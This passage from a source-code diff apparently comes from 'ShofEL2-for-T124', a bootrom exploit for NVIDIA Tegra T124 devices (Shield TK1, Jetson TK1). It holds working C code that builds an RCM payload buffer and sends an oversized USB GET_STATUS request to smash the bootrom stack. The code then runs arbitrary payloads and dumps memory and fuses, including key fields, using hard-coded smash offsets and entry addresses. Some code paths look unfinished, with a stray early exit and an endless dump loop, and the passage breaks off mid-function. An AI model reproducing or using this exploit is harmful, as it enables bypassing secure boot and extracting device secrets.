while ( ( entry = readdir( devices ) ) ) {
if ( !isdigit( entry->d_name[0] ) || strchr( entry->d_name, ':' ) )
continue;
if ( !usb_get_att( &d_vid, entry->d_name, "idVendor", 16 ) && ( vid == d_vid ) &&
!usb_get_att( &d_pid, entry->d_name, "idProduct", 16 ) && ( pid == d_pid ) &&
!usb_get_att( &d_bus, entry->d_name, "busnum", 10 ) &&
!usb_get_att( &d_num, entry->d_name, "devnum", 10 ) ) {
sprintf( path, "/dev/bus/usb/%03d/%03d", d_bus, d_num );
ret = 0;
break;
}
}
closedir( devices );
return ret;
}
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait ) {
int ret;
char path[256];
do {
ret = usb_find_path_by_vid_pid( path, vid, pid );
usleep( 500 );
} while ( wait && ( ret < 0 ) );
DEBUG_MSG( "USB Path: %s\n", path );
if (ret) {
return -1;
}
return open( path, O_RDWR );
}
int usb_close( int usb ) {
return usb;
}
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout ) {
int ret = -1;
size_t setup_len = sizeof ( struct setup_data ) + len;
struct setup_data *setup_data_buf;
setup_data_buf = malloc( setup_len );
memset( setup_data_buf, 0, setup_len );
setup_data_buf->bRequestType = bRequestType;
setup_data_buf->bRequest = bRequest;
setup_data_buf->wValue = wValue;
setup_data_buf->wIndex = wIndex;
setup_data_buf->wLength = len;
struct usbdevfs_urb usb_control_urb;
memset(&usb_control_urb, 0, sizeof (usb_control_urb));
usb_control_urb.type = USBDEVFS_URB_TYPE_CONTROL;
usb_control_urb.endpoint = 0x0;
usb_control_urb.buffer = setup_data_buf;
usb_control_urb.buffer_length = setup_len;
ioctl( usb, USBDEVFS_SUBMITURB, &usb_control_urb );
struct usbdevfs_urb *urb_reaped = NULL;
if ( timeout ) {
while ( timeout > 0 ) {
int _ret = ioctl( usb, USBDEVFS_REAPURBNDELAY, &urb_reaped );
if ( _ret == 0 ) {
break;
}
usleep(200000);
timeout -= 200;
}
} else {
ioctl( usb, USBDEVFS_REAPURB, &urb_reaped );
}
if ( urb_reaped && urb_reaped->status == 0 ) {
ret = 0;
memcpy( data, setup_data_buf->data, len );
}
if ( setup_data_buf ) free( setup_data_buf );
return ret;
}
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data ) {
struct usbdevfs_bulktransfer bulk_txn;
memset( &bulk_txn, 0, sizeof ( bulk_txn ) );
bulk_txn.ep = ep;
bulk_txn.len = len;
bulk_txn.timeout = USB_BULK_TIMEOUT;
bulk_txn.data = data;
if ( ioctl( usb, USBDEVFS_BULK, &bulk_txn ) == len )
return 0;
return -1;
}

View File

@ -0,0 +1,151 @@
#include "rcm.h"
int get_payload_aft_len( int payload_file_fd ) {
struct stat payload_file_stat;
fstat( payload_file_fd, &payload_file_stat );
size_t payload_size = payload_file_stat.st_size;
if ( payload_size > MAX_PAYLOAD_FILE_SIZE ) {
fprintf( stderr, "Error: Payload file exceeds max payload size: %d bytes.\n", MAX_PAYLOAD_FILE_SIZE );
return -1;
}
size_t payload_aft_len = 0;
if ( payload_size > MAX_PAYLOAD_BEF_SIZE ) {
payload_aft_len = payload_size - MAX_PAYLOAD_BEF_SIZE;
}
return payload_aft_len;
}
int read_intermezzo( uint8_t *rcm_cmd_buf ) {
int ret = -1;
int intermezzo_fd = 0;
intermezzo_fd = open( "intermezzo.bin", O_RDONLY );
if ( intermezzo_fd < 0 ) {
fprintf( stderr, "Error: Couldn't open the intermezzo.bin file.\n" );
goto exit;
}
struct stat intermezzo_stat;
fstat( intermezzo_fd, &intermezzo_stat );
size_t intermezzo_size = intermezzo_stat.st_size;
if ( intermezzo_size > INTERMEZZO_LEN ) {
fprintf( stderr, "Error: Intermezzo file exceeds max intermezzo size: %d bytes.\n", INTERMEZZO_LEN );
goto exit;
}
read( intermezzo_fd, rcm_cmd_buf + RCM_CMD_BUF_INTERMEZZO_START, INTERMEZZO_LEN );
ret = 0;
exit:
if ( intermezzo_fd > 0) close( intermezzo_fd );
return ret;
}
int read_payload_file( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len ) {
uint32_t payload_bef_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_START, MAX_PAYLOAD_BEF_SIZE );
uint32_t payload_aft_len = 0;
if ( rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT ) {
payload_aft_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_CONT, rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT );
}
payload_bef_len = TO_LITTLE_ENDIAN( payload_bef_len );
payload_aft_len = TO_LITTLE_ENDIAN( payload_aft_len );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_BEF_LENVAR, (uint8_t *)&payload_bef_len, 0x4 );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_AFT_LENVAR, (uint8_t *)&payload_aft_len, 0x4 );
return 0;
}
int build_rcm_cmd( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len, uint32_t payload_thumb_mode ) {
int ret = -1;
const uint32_t rcm_cmd_len = TO_LITTLE_ENDIAN( RCM_CMD_LEN );
const uint32_t payload_entry = TO_LITTLE_ENDIAN( BOOTROM_PAYLOAD_ENTRY | 0x1 );
payload_thumb_mode = TO_LITTLE_ENDIAN( payload_thumb_mode );
ret = read_intermezzo( rcm_cmd_buf );
if ( ret < 0 ) {
goto exit;
}
ret = read_payload_file( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len );
if ( ret < 0 ) {
goto exit;
}
memcpy( rcm_cmd_buf, (uint8_t *)&rcm_cmd_len, sizeof(uint32_t) );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_MEMCPY_RET_ADD, (uint8_t *)&payload_entry, sizeof(uint32_t) );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_THUMB_MODE, (uint8_t *)&payload_thumb_mode, sizeof(uint32_t) );
ret = 0;
exit:
return ret;
}
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode ) {
int ret = -1;
uint8_t *rcm_cmd_buf = 0;
int payload_file_fd = 0;
payload_file_fd = open( payload_filename, O_RDONLY );
if ( payload_file_fd < 0 ) {
fprintf( stderr, "Error: Couldn't open the payload file: %s.\n", payload_filename );
goto exit;
}
int payload_aft_len = get_payload_aft_len( payload_file_fd );
if ( payload_aft_len < 0 ) {
goto exit;
}
size_t rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len;
printf("len rcm_cmd_buf = %d\n", (int) (rcm_cmd_buf_len));
size_t padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 );
printf("padding = %d\n", (int) (padding));
uint32_t n_writes = ( rcm_cmd_buf_len + padding) / 0x1000;
if ( ! ( n_writes % 2 ) ) {
padding += 0x1000;
}
printf("padding = %d\n", (int) (padding));
rcm_cmd_buf = malloc( rcm_cmd_buf_len + padding );
if ( !rcm_cmd_buf ) {
fprintf( stderr, "Error: Couldn't alloc memory for RCM CMD buffer\n" );
goto exit;
}
memset( rcm_cmd_buf, 0x00, rcm_cmd_buf_len + padding);
ret = build_rcm_cmd( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode );
if ( ret < 0 ) {
goto exit;
}
printf("len rcm_cmd_buf = %d", (int) (rcm_cmd_buf_len + padding));
goto exit;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, rcm_cmd_buf_len + padding, rcm_cmd_buf );
exit:
if (payload_file_fd > 0) close(payload_file_fd);
if (rcm_cmd_buf) free(rcm_cmd_buf);
return ret;
}

View File

@ -0,0 +1,246 @@
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include "t124.h"
#include "rcm.h"
#include "fuse.h"
#include "mini_libusb.h"
#include "mem_dumper_usb_server.h"
void print_hex_memory( void *mem, size_t size ) {
uint8_t *p = (uint8_t *)mem;
for ( int i = 0; i < size ; i++ ) {
if ( ( ( i % 16 ) == 0 ) && i )
printf( "\n" );
printf( "0x%02x ", p[i] );
}
printf( "\n" );
}
void print_help() {
fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK ) [options]\n"
"\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n"
"\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n"
"\t* BOOT_BCT -> Boots BCT without applying locks.\n"
"\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n"
"\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n\n" );
}
int main( int argc, char *argv[] ) {
int _ret_main = -1;
int rcm_usb = 0;
uint8_t *data = NULL;
int hacky_get_status_len = BOOTROM_SMASH_LEN;
char *payload_filename = NULL;
uint32_t payload_thumb_mode = 1;
uint8_t *dump = NULL;
uint32_t dump_start = 0;
uint32_t dump_len = 0;
char *dump_filename;
int dump_fd = -1;
uint8_t do_print_fuse = 0;
// ---- PARSE ARGS ----
if ( argc < 2 ) {
fprintf( stderr, "Error: invalid argument count.\n\n" );
print_help();
goto exit;
}
if ( !strcmp( argv[1], "MEM_DUMP" ) ) {
if ( argc != 5 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" );
goto exit;
}
payload_filename = "mem_dumper_usb_server.bin";
sscanf( argv[2], "%x", &dump_start );
sscanf( argv[3], "%x", &dump_len );
dump_filename = argv[4];
} else if ( !strcmp( argv[1], "READ_FUSES" ) ) {
if ( argc != 3 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" );
goto exit;
}
payload_filename = "mem_dumper_usb_server.bin";
dump_start = FUSE_BASE;
dump_len = FUSE_LEN;
dump_filename = argv[2];
do_print_fuse = 1;
} else if ( !strcmp( argv[1], "BOOT_BCT" ) ) {
if ( argc != 2 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" );
goto exit;
}
payload_filename = "boot_bct.bin";
} else if ( !strcmp( argv[1], "PAYLOAD" ) ) {
if ( ( argc != 3 ) && ( argc != 4 ) ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" );
goto exit;
}
payload_filename = argv[2];
if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) {
payload_thumb_mode = 0;
}
} else if ( !strcmp( argv[1], "DUMP_STACK" ) ) {
if ( argc != 2 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" );
goto exit;
}
payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD...
hacky_get_status_len = BOOTROM_STACK_GAP_LEN;
} else {
fprintf( stderr, "Error: invalid command.\n\n" );
print_help();
goto exit;
}
// --------------------
// ----- INIT RCM -----
printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" );
// rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 1 );
rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 1 );
printf( "K1 in RCM mode connected.\n" );
if ( rcm_usb < 0 ) {
fprintf( stderr, "Error: Couldn't open the usb.\n" );
goto exit;
}
uint8_t chip_id_buf[RCM_CHIP_ID_LEN];
memset( &chip_id_buf, 0, sizeof(chip_id_buf) );
int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf );
if ( ret < 0 ) {
fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" );
goto exit;
}
printf( "Chip ID: " );
print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN );
//-----------------------
// ---- SEND PAYLOAD ----
ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode);
if ( ret < 0 ) {
printf( "Error: Couldn't send RCM CMD.\n" );
goto exit;
}
//----------------------
// ---- RUN EXPLOIT ----
data = malloc( hacky_get_status_len );
ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST,
USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 );
if ( ret == 0 ) {
if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) {
printf( "Hacky Get Status finished correctly... Showing Stack\n" );
_ret_main = 0;
} else {
printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" );
}
print_hex_memory( data, hacky_get_status_len );
goto exit;
}
printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" );
//----------------------
dump_len = 8;
while(1){
dump = malloc( dump_len );
memset(dump, 0x00, dump_len);
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
print_hex_memory(dump, dump_len);
if(ret < 0){
printf("error!");
}
else{
print_hex_memory(dump, dump_len);
}
}
// --- MEM DUMP CMD ----
if ( dump_len ) {
printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start );
struct mem_dumper_args_s mem_dumper_args = {
.start = dump_start,
.len = dump_len
};
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args );
if ( ret < 0 ) {
printf( "Error: Fail sending arguments to memory dumper usb server.\n" );
goto exit;
}
dump = malloc( dump_len );
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
if ( ret < 0 ) {
printf( "Error: Fail receiving memory dump.\n" );
goto exit;
}
dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT );
if ( dump_fd < 0 ) {
printf( "Error: Fail opening dump out file.\n" );
goto exit;
}
write( dump_fd, dump, dump_len );
if ( do_print_fuse ) {
print_fuses( (fuse_chip_registers_t *) dump );
}
}
//----------------------
_ret_main = 0;
exit:
if ( rcm_usb > 0 ) usb_close( rcm_usb );
if ( dump ) free( dump );
if ( dump_fd > 0 ) close( dump_fd );
if ( data ) free( data );
return _ret_main;
}

View File

@ -0,0 +1,17 @@
#ifndef _ENDIANNESS_H_
#define _ENDIANNESS_H_
#ifdef __BYTE_ORDER
#if __BYTE_ORDER == __BIG_ENDIAN
#include <byteswap.h>
#define TO_LITTLE_ENDIAN(x) bswap_32(x)
#elif __BYTE_ORDER == __LITTLE_ENDIAN
#define TO_LITTLE_ENDIAN(x) x
#endif
#endif
#endif

View File

@ -0,0 +1,127 @@
#ifndef _FUSE_H_
#define _FUSE_H_
#include <stdio.h>
#include <stdint.h>
// Based on https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
typedef struct {
uint32_t FUSE_PRODUCTION_MODE; //0x000
uint32_t FUSE_JTAG_SECUREID_VALID; //0x004
uint32_t FUSE_ODM_LOCK; //0x008
uint32_t FUSE_OPT_OPENGL_EN; //0x00c
uint32_t FUSE_SKU_INFO; //0x010
uint32_t FUSE_CPU_SPEEDO_0_CALIB; //0x014
uint32_t FUSE_CPU_IDDQ_CALIB; //0x018
uint32_t RESERVED_0x01C;
uint32_t RESERVED_0x020;
uint32_t RESERVED_0x024;
uint32_t FUSE_OPT_FT_REV; //0x028
uint32_t FUSE_CPU_SPEEDO_1_CALIB; //0x02c
uint32_t FUSE_CPU_SPEEDO_2_CALIB; //0x030
uint32_t FUSE_SOC_SPEEDO_0_CALIB; //0x034
uint32_t FUSE_SOC_SPEEDO_1_CALIB; //0x038
uint32_t FUSE_SOC_SPEEDO_2_CALIB; //0x03c
uint32_t FUSE_SOC_IDDQ_CALIB; //0x040
uint32_t RESERVED_0x044;
uint32_t FUSE_FA; //0x048
uint32_t FUSE_RESERVED_PRODUCTION; //0x04c
uint32_t FUSE_HDMI_LANE0_CALIB; //0x050
uint32_t FUSE_HDMI_LANE1_CALIB; //0x054
uint32_t FUSE_HDMI_LANE2_CALIB; //0x058
uint32_t FUSE_HDMI_LANE3_CALIB; //0x05c
uint32_t FUSE_ENCRYPTION_RATE; //0x060
uint32_t FUSE_PUBLIC_KEY[0x8]; //0x064 - 0x080
uint32_t FUSE_TSENSOR1_CALIB; //0x084
uint32_t FUSE_TSENSOR2_CALIB; //0x088
uint32_t RESERVED_0x08C;
uint32_t FUSE_OPT_CP_REV; //0x090
uint32_t FUSE_OPT_PFG; //0x094
uint32_t FUSE_TSENSOR0_CALIB; //0x098
uint32_t FUSE_BOOTROM_PATCH_SIZE; //0x09c
uint32_t FUSE_SECURITY_MODE; //0x0a0
uint32_t FUSE_PRIVATE_KEY[0x4]; //0x0a4 - 0x0b0
uint32_t FUSE_DEVICE_KEY; //0x0b4
uint32_t FUSE_ARM_DEBUG_DIS; //0x0b8
uint32_t FUSE_BOOT_DEVICE_INFO; //0x0bc
uint32_t FUSE_RESERVED_SW; //0x0c0
uint32_t FUSE_VP8_ENABLE; //0x0c4
uint32_t FUSE_RESERVED_ODM[0x8]; //0x0c8-0x0e4
uint32_t FUSE_OBS_DIS; //0x0e8
uint32_t RESERVED_0x0EC;
uint32_t FUSE_USB_CALIB; //0x0f0
uint32_t FUSE_SKU_DIRECT_CONFIG; //0x0f4
uint32_t FUSE_KFUSE_PRIVKEY_CTRL; //0x0f8
uint32_t FUSE_PACKAGE_INFO; //0x0fc
uint32_t FUSE_OPT_VENDOR_CODE; //0x100
uint32_t FUSE_OPT_FAB_CODE; //0x104
uint32_t FUSE_OPT_LOT_CODE_0; //0x108
uint32_t FUSE_OPT_LOT_CODE_1; //0x10c
uint32_t FUSE_OPT_WAFER_ID; //0x110
uint32_t FUSE_OPT_X_COORDINATE; //0x114
uint32_t FUSE_OPT_Y_COORDINATE; //0x118
uint32_t FUSE_OPT_SEC_DEBUG_EN; //0x11c
uint32_t FUSE_OPT_OPS_RESERVED; //0x120
uint32_t FUSE_SATA_CALIB; //0x124
uint32_t FUSE_GPU_IDDQ_CALIB; //0x128
uint32_t FUSE_TSENSOR3_CALIB; //0x12c
uint32_t FUSE_SKU_BOND_OUT_L; //0x130
uint32_t FUSE_SKU_BOND_OUT_H; //0x134
uint32_t FUSE_SKU_BOND_OUT_U; //0x138
uint32_t FUSE_SKU_BOND_OUT_V; //0x13c
uint32_t FUSE_SKU_BOND_OUT_W; //0x140
uint32_t RESERVED_0x144;
uint32_t FUSE_OPT_SUBREVISION; //0x148
uint32_t FUSE_OPT_SW_RESERVED_0; //0x14c
uint32_t FUSE_OPT_SW_RESERVED_1; //0x150
uint32_t FUSE_TSENSOR4_CALIB; //0x154
uint32_t FUSE_TSENSOR5_CALIB; //0x158
uint32_t FUSE_TSENSOR6_CALIB; //0x15c
uint32_t FUSE_TSENSOR7_CALIB; //0x160
uint32_t FUSE_OPT_PRIV_SEC_EN; //0x164
uint32_t FUSE_PKC_DISABLE; //0x168
uint32_t RESERVED_0x16C;
uint32_t RESERVED_0x170;
uint32_t RESERVED_0x174;
uint32_t RESERVED_0x178;
uint32_t FUSE_FUSE2TSEC_DEBUG_DISABLE; //0x17c
uint32_t FUSE_TSENSOR8_CALIB; //0x180 // <--WTF
uint32_t FUSE_OPT_CP_BIN; //0x184
uint32_t FUSE_OPT_GPU_FS; //0x188
uint32_t FUSE_OPT_FT_BIN; //0x18c
uint32_t RESERVED_0x190;
uint32_t FUSE_SKU_BOND_OUT_X; //0x194
uint32_t FUSE_APB2JTAG_DISABLE; //0x198
uint32_t RESERVED_0x19C;
uint32_t FUSE_PHY_FLOORSWEEP; //0x1a0
uint32_t FUSE_PHY_FLOOR_ENABLE; //0x1a4
uint32_t FUSE_ARM_CRYPT_DE_FEATURE; //0x1a8
uint32_t FUSE_DENVER_MTS_DE_FEATURE; //0x1ac
uint32_t FUSE_DIE_VERSION_OVERRIDE; //0x1b0
uint32_t FUSE_TRIMMERS; //0x1b4
uint32_t FUSE_DENVER_BOOT_SEC; //0x1b8
uint32_t FUSE_DENVER_DFD_ACCESS; //0x1bc
uint32_t FUSE_WOA_SKU_FLAG; //0x1c0
uint32_t FUSE_ECO_RESERVE_1; //0x1c4
uint32_t FUSE_GCPLEX_CONFIG_FUSE; //0x1c8
uint32_t RESERVED_0x1CC;
uint32_t RESERVED_0x1D0;
uint32_t RESERVED_0x1D4;
uint32_t RESERVED_0x1D8;
uint32_t RESERVED_0x1DC;
uint32_t RESERVED_0x1E0;
uint32_t RESERVED_0x1E4;
uint32_t RESERVED_0x1E8;
uint32_t RESERVED_0x1EC;
uint32_t RESERVED_0x1F0;
uint32_t RESERVED_0x1F4;
uint32_t RESERVED_0x1F8;
uint32_t FUSE_SPARE_REALIGNMENT_REG; //0x1fc
uint32_t FUSE_SPARE_BITS[0X40]; //0x200 - 0X2fc
} fuse_chip_registers_t;
void print_fuses( fuse_chip_registers_t *fuse_chip_registers );
#endif

View File

@ -0,0 +1,12 @@
#ifndef _MEM_DUMP_USB_SERVER_H_
#define _MEM_DUMP_USB_SERVER_H_
#include <stdint.h>
struct mem_dumper_args_s {
uint32_t start;
uint32_t len;
};
#endif

View File

@ -0,0 +1,37 @@
#ifndef _MINI_LIBUSB_H_
#define _MINI_LIBUSB_H_
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#define USB_CTRL_DEVICE_ENDPOINT_TO_HOST 0x82
#define USB_CTRL_GET_STATUS 0x00
#define USB_BULK_TIMEOUT 500
#if DEBUG
#define DEBUG_MSG(fmt, ...) do { fprintf( stderr, "%s:%d:%s(): " fmt, \
__FILE__, __LINE__, __func__, ##__VA_ARGS__ ); } while(0)
#else
#define DEBUG_MSG(fmt, ...)
#endif
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait );
int usb_close( int usb );
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data );
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout );
#endif

View File

@ -0,0 +1,5 @@
#ifndef _MEM_DUMP_USB_SERVER_H_
#define _MEM_DUMP_USB_SERVER_H_
#endif

View File

@ -0,0 +1,17 @@
#ifndef _RCM_H_
#define _RCM_H_
#include <sys/stat.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include "t124.h"
#include "mini_libusb.h"
#include "endianness.h"
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode );
#endif

View File

@ -0,0 +1,99 @@
#ifndef _T124_RCM_H_
#define _T124_RCM_H_
#define JETSON_TK1_VID 0x0955
#define JETSON_TK1_PID 0x7140
#define SHIELD_TK1_VID 0x0955
#define SHIELD_TK1_PID 0x7f40
#define IROM_BEGIN 0x00100000
#define IROM_END 0x0010FFFF
#define IROM_LEN 0x00010000
#define IRAM_BEGIN 0x40000000
#define IRAM_END 0x4003FFFF
#define IRAM_LEN 0x00040000
#define BOOTROM_DO_BCT_BOOT 0x00100624
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
#define BOOTROM_USB_BUF_1 0x40004000
#define BOOTROM_USB_BUF_2 0x40008000
#define BOOTROM_PAYLOAD_ENTRY 0x4000E000
#define BOOTROM_SMASH_TARGET 0x4000DCD8
#define BOOTROM_STACK_GAP_LEN 0x30C
#define BOOTROM_SMASH_LEN (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) // 0x5CD8
#define VARS_LEN 0x10
#define INTERMEZZO_LEN 0x100
#define INTERMEZZO_REL_ADD ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) // 0x4000DF00
#define OFFSET_INTERMEZZO_START 0x0
#define OFFSET_PAYLOAD_START ( INTERMEZZO_LEN )
#define OFFSET_MEMCPY_RET_ADD ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) // 0x59C8 ( 0x30C Bytes copied from the stack before entry )
#define OFFSET_PAYLOAD_BEF_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x4 )
#define OFFSET_PAYLOAD_AFT_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x8 )
#define OFFSET_PAYLOAD_THUMB_MODE ( OFFSET_MEMCPY_RET_ADD - 0xC )
#define OFFSET_PAYLOAD_CONT ( OFFSET_MEMCPY_RET_ADD + 0x4 )
#define IRAM_ADD_INTERMEZZO_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
#define IRAM_ADD_PAYLOAD_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
#define IRAM_ADD_PAYLOAD_BEF_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
#define IRAM_ADD_PAYLOAD_AFT_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
#define IRAM_ADD_PAYLOAD_THUMB_MODE ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
#define IRAM_ADD_PAYLOAD_CONT ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
#define RCM_EP1_IN 0x81
#define RCM_EP1_OUT 0x01
#define RCM_CHIP_ID_LEN 0x10
#define RCM_CMD_LEN 0x32274
#define RCM_CMD_MAX_USEFUL_LEN 0x31000 // Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
#define RCM_CMD_HEADER_LEN 0x284
#define RCM_CMD_BUF_INTERMEZZO_START ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
#define RCM_CMD_BUF_PAYLOAD_START ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
#define RCM_CMD_BUF_MEMCPY_RET_ADD ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
#define RCM_CMD_BUF_PAYLOAD_BEF_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
#define RCM_CMD_BUF_PAYLOAD_AFT_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
#define RCM_CMD_BUF_PAYLOAD_THUMB_MODE ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
#define RCM_CMD_BUF_PAYLOAD_CONT ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
#define MAX_PAYLOAD_BEF_SIZE ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) // 22716 Bytes
#define MAX_PAYLOAD_AFT_SIZE ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) // 177072 Bytes
#define MAX_PAYLOAD_FILE_SIZE ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) // 199788 Bytes
#define SECURE_BOOT_BASE 0x6000C200
#define SB_CSR_0 0x0
#define SB_PIROM_START_0 0x4
#define SB_PFCFG_0 0x8
#define JTAG_ON 0x00000080
#define APB_BASE 0x70000000
#define APB_MISC_PP_CONFIG_CTL_0 0x24
#define APB_MISC_PP_CONFIG_CTL_0_JTAG 0x40
#define APB_MISC_PP_CONFIG_CTL_0_TBE 0x80
#define FLOW_CTLR_BASE 0x60007000
#define FLOW_CTLR_HALT_COP_EVENTS_0 0x4
#define FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT (1 << 30)
#define FLOW_CTLR_HALT_COP_JTAG (1 << 28)
#define PMC_BASE 0x7000e400
#define PMC_CNTRL 0x000
#define PMC_CNTRL_MAIN_RST (1 << 4)
#define PMC_SCRATCH0 0x050
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
#define FUSE_BASE 0x7000F900
#define FUSE_LEN 0x300
#endif

View File

@ -0,0 +1,20 @@
#ifndef _TYPES_H_
#define _TYPES_H_
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef u32 size_t;
typedef u32 uintptr_t;
typedef u32 uint32_t;
#endif

BIN
ShofEL2-for-T124/intermezzo.bin Executable file

Binary file not shown.

View File

@ -0,0 +1,24 @@
#include "types.h"
#include "t124.h"
typedef void (*do_bct_boot_t)( void );
void memcpy( void *dst, const void *src, size_t len ) {
for ( size_t i = 0; i < len; i++ ) {
( (u8 *)dst )[i] = ( (u8 *)src )[i];
}
}
__attribute__((section(".init")))
void entry() {
memcpy( (void*) ( IRAM_END - IROM_LEN + 1 ), (void*) IROM_BEGIN, IROM_LEN );
register do_bct_boot_t do_bct_boot = (do_bct_boot_t) ( BOOTROM_DO_BCT_BOOT | 1 );
do_bct_boot();
while(1);
}

View File

@ -0,0 +1,55 @@
#include "types.h"
#include "t124.h"
extern u32 __payload_bin_start;
extern u32 __payload_bin_end;
typedef void (*post_relocation_t)( void );
typedef void (*payload_ep_t)( void );
typedef void (*_memcpy_t)( void *dst, const void *src, size_t len );
void _memcpy( void *dst, const void *src, size_t len ) {
